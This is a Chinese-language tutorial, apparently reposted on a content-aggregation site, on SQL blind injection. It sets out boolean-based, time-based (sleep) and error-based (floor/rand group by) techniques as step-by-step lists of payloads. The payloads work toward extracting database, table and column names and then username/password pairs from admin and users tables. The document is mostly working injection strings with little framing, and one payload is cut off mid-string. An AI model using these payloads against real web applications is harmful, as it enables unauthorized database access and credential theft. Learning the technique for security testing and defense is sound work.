SQL盲注
Posted Security菜鸟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL盲注相关的知识,希望对你有一定的参考价值。
一、SQL盲注概述
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时我们需要利用一些方法进行判断或尝试,这个过程称为盲注
二、基于布尔的SQL盲注 - 逻辑判断
执行SQL语句后,只显示两种结果,True或False
(一)注入时需要用到的函数
like ‘ro%’ #判断ro或ro...是否成立 regexp ‘^xxx[a-z]’ #判断xxx及xxx...等 mid(a,b,c) #从b位置开始,截取a字符串的c位 substr(a,b,c) #从b位置开始截取a字符串的c长度 left(database(), 1), database() #left(a,b) 从左侧截取a的前b位 length(database())=8 #判断数据库database()名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97,ord()转换成ascii码
(二)布尔盲注流程
1、猜解获取数据库长度
\' or length(database()) > 8 --+ #符合条件返回正确,反之返回错误
2、猜解数据库名
\'or mid(database(),1,1)= \'z\' --+ #因为需要验证的字符太多,所以转化为ascii码验证 \'or ORD(mid(database(),1,1)) > 100
3、猜解表的总数
\'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ #判断表的总数
4、猜解第一个表名的长度
\'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+ \'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5
5、猜解第一个表名
\'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = \'a\' --+ 或者 \'or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1),1,1)) >100
6、猜解字段的总数
\'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME=\'表名\') > 5 --+
7、猜解第一个字段的长度
\'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME=\'表名\' limit 0,1) = 10 --+ \'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME=\'表名\' limit 1,1) = 10
8、猜解第一个字段名
\'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = \'表名\' limit 0,1),1,1) = \'i\' --+ 或者 \'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = \'表名\' limit 0,1),1,1)) > 100
直接猜测字段名
\' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=\'表名\' limit 1,1) = \'username\' --+
9、猜测内容长度
假如已经知道字段名为 id username password
\'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
10、猜解内容
\'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = \'a\' --+ 或者 \'or ORD(mid((select concat(username,"
也可直接猜测内容
\'or (Select concat(username,"-----",password) from admin limit 0,1 ) = \'admin
三、基于时间的盲注 - 延时判断
提交对时间敏感的函数SQL语句,通过执行时间的长短判断是否执行成功
(一)用到的函数
if,sleep,mid(str,start,lengt),ORD(),Length()version(),database(),user()
(二)注入流程
1、获取数据库总数
\' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) #如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒
2、猜解当前数据库长度
\' and sleep(if((length(database()) = 8),0,5))--+ #当前数据库名长度为8
3、猜解当前数据库名
\' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ #ascii码115 就是s
4、猜解当前数据库表的总数
And sleep(if((注入语句),0,5)) #类似布尔注入推理即可 ,例如: \' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+
5、其他根据布尔盲注推断即可
三、基于报错的SQL盲注 - 报错回显
(一)需要用到的函数
1、利用函数报错
Floor,Updatexml,extractvalue,exp(),Geometrycollection(),Polygon(),Multipoint(),Multilinestring(),Multipolygon()等
2、利用数据库BUG报错需要用到的函数:
只要是count(),rand() ,group by 三个函数连用就会造成这种报错
left(rand(),3) #不一定报错
floor(rand(0)*2) #一定报错
round(x,d) #x指要处理的数,d是指保留几位小数
concat() #字符串拼接
(二)注入流程
1、爆数据库
\' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx) \' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx
2、爆表名
\' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
3、爆字段
\' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
4、猜解内容
\' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23
以上是关于SQL盲注的主要内容,如果未能解决你的问题,请参考以下文章